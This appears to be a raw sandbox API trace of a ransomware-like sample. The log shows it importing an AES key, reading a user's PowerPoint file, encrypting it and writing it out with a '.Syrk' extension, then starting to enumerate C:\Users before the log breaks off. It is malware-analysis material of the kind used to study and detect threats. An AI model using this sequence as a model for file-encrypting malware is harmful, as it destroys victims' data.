(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0192.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0192.548] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.548] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0192.548] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0192.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0192.549] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.549] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0192.549] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0192.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0192.549] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.549] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0192.549] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0192.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0192.549] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.550] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0192.550] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0192.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0192.550] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.550] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0192.550] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0192.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0192.550] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.551] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0192.551] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0192.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0192.551] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.551] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0192.551] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0192.552] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0192.552] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0192.552] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0192.552] SystemFunction041 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.552] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0192.552] SystemFunction040 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.552] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0192.552] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0192.552] SystemFunction041 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.552] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0192.552] SystemFunction040 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0192.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0192.553] SystemFunction041 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.553] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0192.553] SystemFunction040 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0192.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0192.553] SystemFunction041 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.553] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0192.553] SystemFunction040 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0192.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0192.553] SystemFunction041 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.554] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0192.554] SystemFunction040 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.554] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0192.554] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0192.554] SystemFunction041 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.554] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0192.554] SystemFunction040 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.554] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0192.554] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0192.554] SystemFunction041 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.554] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0192.554] SystemFunction040 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.554] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0192.555] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0192.555] SystemFunction041 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.555] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0192.555] SystemFunction040 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.555] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0192.555] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0192.555] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0192.555] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0192.555] SystemFunction041 (in: Memory=0x3da4a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da4a4) returned 0x0 [0192.555] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0192.555] SystemFunction040 (in: Memory=0x3da4a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da4a4) returned 0x0 [0192.556] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0192.556] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0192.556] SystemFunction041 (in: Memory=0x3da4a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da4a4) returned 0x0 [0192.556] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0192.556] SystemFunction040 (in: Memory=0x3da4a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da4a4) returned 0x0 [0192.556] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0192.556] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0192.556] SystemFunction041 (in: Memory=0x3da4a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da4a4) returned 0x0 [0192.556] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0192.556] SystemFunction040 (in: Memory=0x3da4a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da4a4) returned 0x0 [0192.556] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0192.556] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0192.556] SystemFunction041 (in: Memory=0x3da4a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da4a4) returned 0x0 [0192.557] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0192.557] SystemFunction040 (in: Memory=0x3da4a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da4a4) returned 0x0 [0192.557] EtwEventActivityIdControl () returned 0x0 [0192.557] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0192.557] SystemFunction041 (in: Memory=0x3da4a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da4a4) returned 0x0 [0192.557] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0192.557] SystemFunction040 (in: Memory=0x3da4a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da4a4) returned 0x0 [0192.562] CryptAcquireContextW (in: phProv=0x5a2e660, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e660*=0x5c4ccc0) returned 1 [0192.564] CryptImportKey (in: hProv=0x5c4ccc0, pbData=0x24912c4*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea54 | out: phKey=0x5a2ea54*=0x5c68b40) returned 1 [0192.564] CryptContextAddRef (hProv=0x5c4ccc0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0192.565] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e7c0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0192.565] EtwEventActivityIdControl () returned 0x0 [0192.565] EtwEventActivityIdControl () returned 0x0 [0192.565] EtwEventActivityIdControl () returned 0x0 [0192.572] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\cdzt.ppt")) returned 0x20 [0192.574] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\cdzt.ppt")) returned 0x20 [0192.574] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0192.574] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", lpFilePart=0x0) returned 0x31 [0192.575] EtwEventActivityIdControl () returned 0x0 [0192.674] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0192.674] EtwEventActivityIdControl () returned 0x0 [0192.674] EtwEventActivityIdControl () returned 0x0 [0192.674] EtwEventActivityIdControl () returned 0x0 [0192.676] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0192.676] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", lpFilePart=0x0) returned 0x31 [0192.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0192.677] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\cdzt.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0192.677] GetFileType (hFile=0x45c) returned 0x1 [0192.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0192.678] GetFileType (hFile=0x45c) returned 0x1 [0192.678] EtwEventActivityIdControl () returned 0x0 [0192.679] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0192.680] EtwEventActivityIdControl () returned 0x0 [0192.680] EtwEventActivityIdControl () returned 0x0 [0192.680] EtwEventActivityIdControl () returned 0x0 [0192.682] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0192.682] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt.Syrk", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt.Syrk", lpFilePart=0x0) returned 0x36 [0192.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0192.683] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\cdzt.ppt.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x344 [0192.685] GetFileType (hFile=0x344) returned 0x1 [0192.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0192.686] GetFileType (hFile=0x344) returned 0x1 [0192.686] EtwEventActivityIdControl () returned 0x0 [0192.686] CryptGenRandom (in: hProv=0x5c4ccc0, dwLen=0x10, pbBuffer=0x24a23e8 | out: pbBuffer=0x24a23e8) returned 1 [0192.688] CryptContextAddRef (hProv=0x5c4ccc0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0192.688] CryptDuplicateKey (in: hKey=0x5c68b40, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2ea08 | out: phKey=0x5a2ea08*=0x5c68840) returned 1 [0192.688] CryptContextAddRef (hProv=0x5c4ccc0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0192.688] CryptSetKeyParam (hKey=0x5c68840, dwParam=0x4, pbData=0x24a3858*=0x1, dwFlags=0x0) returned 1 [0192.689] CryptSetKeyParam (hKey=0x5c68840, dwParam=0x1, pbData=0x24a3824, dwFlags=0x0) returned 1 [0192.689] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0192.693] EtwEventActivityIdControl () returned 0x0 [0192.693] EtwEventActivityIdControl () returned 0x0 [0192.693] EtwEventActivityIdControl () returned 0x0 [0192.695] EtwEventActivityIdControl () returned 0x0 [0192.695] ReadFile (in: hFile=0x45c, lpBuffer=0x24a64c0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x24a64c0*, lpNumberOfBytesRead=0x5a2ea0c*=0x54ca, lpOverlapped=0x0) returned 1 [0192.698] CryptEncrypt (in: hKey=0x5c68840, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24ba4d8*, pdwDataLen=0x5a2ea00*=0x54c0, dwBufLen=0x54c0 | out: pbData=0x24ba4d8*, pdwDataLen=0x5a2ea00*=0x54c0) returned 1 [0192.698] WriteFile (in: hFile=0x344, lpBuffer=0x24a2538*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x24a2538*, lpNumberOfBytesWritten=0x5a2e9e4*=0x1000, lpOverlapped=0x0) returned 1 [0192.701] WriteFile (in: hFile=0x344, lpBuffer=0x24bb4c4*, nNumberOfBytesToWrite=0x44d4, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x24bb4c4*, lpNumberOfBytesWritten=0x5a2e9e4*=0x44d4, lpOverlapped=0x0) returned 1 [0192.702] ReadFile (in: hFile=0x45c, lpBuffer=0x24a64c0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x24a64c0*, lpNumberOfBytesRead=0x5a2ea0c*=0x0, lpOverlapped=0x0) returned 1 [0192.702] CryptEncrypt (in: hKey=0x5c68840, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24bfa0c*, pdwDataLen=0x5a2ea60*=0x10, dwBufLen=0x10 | out: pbData=0x24bfa0c*, pdwDataLen=0x5a2ea60*=0x10) returned 1 [0192.702] CryptEncrypt (in: hKey=0x5c68840, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24bfa28*, pdwDataLen=0x5a2ea68*=0x0, dwBufLen=0x10 | out: pbData=0x24bfa28*, pdwDataLen=0x5a2ea68*=0x10) returned 1 [0192.702] WriteFile (in: hFile=0x344, lpBuffer=0x24a2538*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2ea38, lpOverlapped=0x0 | out: lpBuffer=0x24a2538*, lpNumberOfBytesWritten=0x5a2ea38*=0x10, lpOverlapped=0x0) returned 1 [0192.703] CloseHandle (hObject=0x344) returned 1 [0192.705] CloseHandle (hObject=0x45c) returned 1 [0192.705] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0192.706] EtwEventActivityIdControl () returned 0x0 [0192.706] EtwEventActivityIdControl () returned 0x0 [0192.706] EtwEventActivityIdControl () returned 0x0 [0193.054] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\cdzt.ppt")) returned 0x20 [0193.060] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0193.060] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\cDzt.ppt", lpFilePart=0x0) returned 0x31 [0193.061] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0193.061] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0193.062] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0193.062] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0193.062] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0193.062] GetFileAttributesW (lpFileName="C:\\Users" (normalized: 